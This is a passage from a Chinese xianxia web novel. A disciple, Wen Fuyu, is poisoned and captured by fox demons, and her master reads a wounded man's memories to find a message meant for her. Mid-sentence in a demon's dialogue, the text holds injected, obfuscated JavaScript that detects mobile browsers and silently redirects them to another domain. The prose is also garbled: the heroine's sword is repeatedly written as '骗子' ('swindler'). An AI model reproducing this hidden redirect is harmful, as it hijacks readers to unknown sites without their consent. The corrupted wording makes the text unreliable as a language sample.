是个漂亮的女人。她长得尤为美艳,瓜子脸,柳叶眉,只是那双眼实在是咄咄逼人,给人一种不太舒服的感觉。 温拂渔的手肘被撞得有点疼,但她立刻压下来这份感觉,从对方手中接过骗子:“没关系的。” 原本也是她自己没注意看路。 只是对方将剑递与她时,指尖却似有意无意摩擦,轻拂过她的指腹,又似无意间滑过她的指尖,惊得她猛地一颤。 温拂渔没由来感到一阵恶寒。 那是一种由身到心都厌恶到极致的不适。 她迅速收回手,低头重新将骗子佩戴好,再抬头时却见那女人仍盯着她。 很奇怪的感觉,被她那双眼盯着,像是自己被里外扒开,然后被洞察地彻彻底底。 不知是不是她的错觉,从得知那几只妖物在找姓温的人后,她就总觉得浑身不自在,不断有视线投向自己,浑身瘙痒难受。 “姑娘,告辞了。” 却听见那女人的声音,悠扬婉转:“呵呵,说不定你我还会再见面呢,小仙师。” 温拂渔不明所以,刚走了两步,她却忽然听见自己腰间的铃铛响了一声。 妖物? 她猛地回过头,方才那个女人却消失无踪。 这算是挑衅吧? 她眼神无波澜地望着空无一人的街道,手轻轻搭在剑鞘上,转身离开。 傍晚,温拂渔提议:“仙尊,我建议先找到他们要找的那个人,那个人被他们盯上了,处境应该很危险。” 可连郁却反问道:“你对此人有头绪吗?” 在一个偌大的云陵城,人海茫茫中寻找一位姓温却不知道名字的人?男人还是女人?大人还是小孩?一点线索都没有,无异于大海捞针。 温拂渔无法反驳,他说的句句属实。 她突然想起一个人:“仙尊,赵坤炳那边我们是不是还可以深挖?” 他的情况不符那三只妖所说,甚至他们也不知道为什么明明说过只是恐吓人族找乐子,却突然对一个人动真格。 “可是可以,但他还未养好伤。” “那便帮他养好罢。”温拂渔神色极其认真,“明天,我去为他调动真气恢复。” 连郁望着她这般模样,心中有诸多疑问,却不知如何开口。 她心里肯定想着事。 不仅仅与妖患相关,还有其他的,他未曾涉及的事情。 他很想拒绝她的提议,可温拂渔一旦决定了什么事,就谁也无法改变。 就像当年她毅然决然地离开青山,如一缕抓不住的风,来时不由分说,去时不告而别,只留他守着满地狼藉,恍若大梦三载。 “那便如你所说。”连郁妥协道。 只是第二日,赵坤炳醒来了。 但温拂渔却不见了。 17. 妖患(五) 温拂渔几乎一夜未眠。 不知怎的,她总感觉周身不适,冒着冷汗,又有些浑身刺痛。可她打坐调理了一番,却又探不出半分异常。 是因为她想的太多了吗? 可以前没有这样过。 最终她也不知自己是否算入面,再睁眼时天已经蒙蒙亮了。 她没什么精神气地坐起身,指尖插进发间,带着几分低气压咂舌道:“烦死了……” 却也只能恹恹起身,稍作收拾推门而出。 连郁又已经坐在外面等她了。他喝着温霁给他泡的早茶,悠然坐在院子里的木椅上,姿态闲适得让温拂渔恍惚间竟生出他是此间主人的感觉。 “仙尊早。”她象征性地打了声招呼。 连郁微微颔首,目光落在她面上时,却几不可察地顿了一瞬。 她看起来气色不佳,眼神有些憔悴,眼底泛着浅淡青黑,难道昨夜没睡好? 察觉到连郁的注视,温拂渔抬起头看他:“仙尊?” 连郁本想抬起手抚上她的额头,或者将人拉到面前,握住她的手感受她的灵力流动,又或者让她好好休息,今日就算了。 但她肯定不会同意的。 毕竟如今仙尊与弟子的身份……确实还没有熟稔到做这些事的地步。 但他终究还是忍不住提了一嘴:“若身体不适直接说,别强撑。” 他为什么这么说? 难道她的不适感很明显吗? 温拂渔垂眸道:“我知道了,仙尊。” 她会尽量克服不适的。 二人再次拜访赵家。 赵老爷见两位仙师不请自来,忙着起身亲自迎接他们,询问他们来意。 “我们需要赵公子的帮助,不知他今日状态如何?” 赵老爷如实答道:“还没醒……但是睡眠状态好了不少,血色恢复了些许,就是好像会做噩梦,有时能听他蹙眉喃喃着什么。” 连郁颔首道:“好,容我再去检查一番。” 赵坤炳门口的阵法没有损耗,温拂渔一脚踏上去便能感受到阵法里浓厚的法力。 连郁进去后便坐在床榻边,伸出两指虚放于赵坤炳的脉络上方,先观察他的恢复情形,再开始缓缓给他输送灵力。 此事为温拂渔所提出,本来应该她来做,但连郁没给她这个机会,她只好默默坐在一旁,百无聊赖地盯着连郁施法的指尖。 许是他的灵力也飘散在周身的缘故,温拂渔感觉心里那股难受劲缓解了不少,这会儿竟有些昏昏欲睡。 随即她猛地睁大眼睛。 不能睡! 哪有仙尊在一旁忙活,她个弟子在一旁睡大觉的道理! 温拂渔轻咳两声强行打起精神,还特意坐地端正,以防再有瞌睡的心思。 然而……她终究还是睡着了。 连郁灵力输送将毕,推测赵坤炳半个时辰内能醒过来,便转头欲告知温拂渔。 却见少女头靠在椅背,双眸紧闭,呼吸声略显沉重,因被硌得不舒服而蹙紧眉头,脑袋还一点一点地顺着椅背滑落。 她果然没睡好。 连郁站起身行至温拂渔面前。 随后他蹲下身,仰首轻轻拂过她的面颊,似乎弄得她有些痒意,眉头锁地更紧。 她的心里藏着太多事。不论是以前还是现在,似乎都是如此。 于是他指尖轻抚,展平她眉间的褶皱:“都说了总皱眉会变成小老太婆,怎么就是不听呢……” 又喃喃自语:“既然不告而别地离去,又为何还要来青山门?” 明明是那般狠心之人,为何却又让他与三问皆难以忘却? 青雪啊。 睡梦中的少女动了动,又将脑袋挪回椅背中央。 …… 温拂渔醒来时,脖颈已经歪斜靠在肩头。她伸手揉了揉有些酸痛的脖子,却发觉自己身上被披盖一物。 低头看去,白绸料子上绣着凌云飞鹤,是连郁的外袍。 她终于意识到自己方才还是睡着了,顿时倍感羞愧。 连郁仍坐在赵坤炳床榻旁,听闻木椅发出细微声音后头也没回:“醒了?” 温拂渔不好意思道:“恕弟子失仪……仙尊您的灵力太温暖,不觉便睡着了……” “无事。”连郁道,“只是方才赵公子短暂苏醒片刻,你错过了,现下他又睡下了。” 见温拂渔的眼神有些愧疚,他又道:“我已经检查过他的记忆,没有明显受损的部分,但有一处,我认为确实算得上是帮助。你的想法是正确的,赵公子的记忆确实算一个重要点。” 温拂渔立刻起身:“我看看。” 她提着木椅坐在连郁身旁,闭眼释放灵力,翻阅赵坤炳的记忆。 大部分没什么看点,都是些单领出来,但凡他是个无权无势的普通人会被打死的破事。 直到她终于翻见连郁口中的那个重要点——是出现突兀的黑衣人。明明温拂渔看不起他的脸,却不知怎的,一股带着危险的熟悉感自心底油然升起。 那人明明是盯着赵坤炳,却似乎是在对窥探这份记忆的人说话。 “他品行卑劣,你也不喜欢他吧?尤其当年他弄坏了你家里的姚黄,你似乎就很生气。” 温拂渔一怔,随后听见那人又道。 “你会来吗?会看见这段记忆吗?”他说着,却突然抬起一只手,露出手上的两道狰狞疤痕,“你还……记得我吗?” “轰”的一声,温拂渔感觉自己周身血液沸腾。 他是在与自己说话。 他们找的那个人,正是她。 温拂渔反复运转灵力倒溯观看,努力想要看清那仇人的面容,这是她如今离他最近的一次。不料下一秒,胃里猛地翻江倒海,她猛地捂住自己的嘴。 “呕——” 她没忍住吐意,污秽之物从指缝间溢出。 连郁见她突然这般,神色罕有地出现一丝慌张:“怎么了?” 言未毕,竟欲伸手将她揽过来检查。 温拂渔连忙起身,后退几步躲避开来,声音带着些虚弱:“弟子失态,可能是这两天想太多,身体有些不舒服。容我去漱漱口……” 说罢她迅速离开,在赵家的井里面舀了些水清理污渍。 怎么回事?她就算再紧张焦虑,也从未出现这般情况。 温拂渔难受地大喘气。 她再一次觉得浑身难受无比,甚至感觉自己还有更多的东西想要吐出来。 忽地,她听见身后传来脚步声,一个陌生却又有些似曾相识的嗓音飘来。 “哎呀,我记得我没释放太多毒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261579|182024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 素啊,怎么就变成这样了?” 她强撑着想看清来者,却终是失了意识,昏倒过去。 * 温拂渔在一阵麻痹感中醒来。 浑身酥麻无力,呼吸有些不顺畅,她甚至是蜷在地面,手脚被捆绑。 “我本来都没想这么顺畅就捉到你。”一双青绿绣花鞋映入她低垂的视野,“谁让你自己法力使用过度,催地毒素迅速蔓延呢。” 温拂渔艰难地抬眼看着眼前的人。 正是昨日碰掉骗子,离开前还特意散发出妖气挑衅她的女妖。 “毒素?”她张口,发出的声音有些沙哑,“你什么时候对我下的……” 她蓦然想起昨日这女妖将骗子递给自己时,似有意无意地与她接触,而她也在那时感觉到不适。 或许是那时便中了暗算。 “我昨夜睡不好,浑身难受也是因为你的毒素?” 岚巳蹲下身,指尖勾起她的下巴:“没错。不过你放心,这毒素只让人体虚,你又是修仙者,不会要了你的性命。” 原来不是因为她想太多啊。 温拂渔松了口气,顿时感觉心里好受了些。 “等等。”岚巳盯着她忽然一愣,“你这张脸……” 温拂渔感受到她的指尖在自己面上游走摸索,从眉峰至眼骨,鼻梁到唇瓣,温拂渔眯着眼想要躲开,却又被她强行掰正。 光是抚摸还不够,她还捏着温拂渔的下巴上下左右端详几遍。 温拂渔终是忍无可忍:“我脸上有字呢?” 岚巳没在意她的阴阳怪气,细细观察良久,方才满意般地收回手:“你叫什么名字?” 温拂渔看着她没说话。 岚巳自信一笑:“不肯说?那我便猜猜,是叫温拂鲤吧?” 温拂渔:? 见她表情突然变得无语起来,岚巳的表情有些保持不住,眨眨眼再次试探:“温拂鲟?” 温拂渔:…… 好想提醒她,自己的“渔”字与动物无关,不要在那乱拼乱凑。 “是叫温拂渔吧?” 岚巳还在猜测,随即有个慵懒的男声不大不小地传了过来。 温拂渔的视线越过岚巳的肩头。那男子似乎一直闲卧于躺椅上,双臂悠哉枕在脑后,正投来含笑的目光。 他笑道:“我们见过一面的,对吧?” 温拂渔心中了然:这家伙应该就是那个岚卯了,那只在她眼皮子底下却没有被发现的黑白兔子。 “你们抓我所谓何事。” “说来,我们本只是想擒个小仙师用来威胁你那位仙尊,但没想到就这么巧,你刚好就是我们要找的人。”岚巳扭头看向岚卯道,“兔子,我去禀报大人,你在这看好她,可别让她逃了。” 岚卯脸上挂着笑,慵懒应了一声。 待岚巳身影彻底消失,他方才敛去笑容,转而以一副居高临下的姿态盯着温拂渔。 他咂舌:“原来你真还活着啊。” 看大人那么急切地想从云陵城找到她的踪迹,他还以为大人因为当年误杀她,所以心神失常了呢。 “对了,不知你可还记得,当初是我们在云陵城惹事,也是我们一把火烧了云陵城。” 他俯身逼近,字字诛心:“而亲手了结了你母亲的,是我。”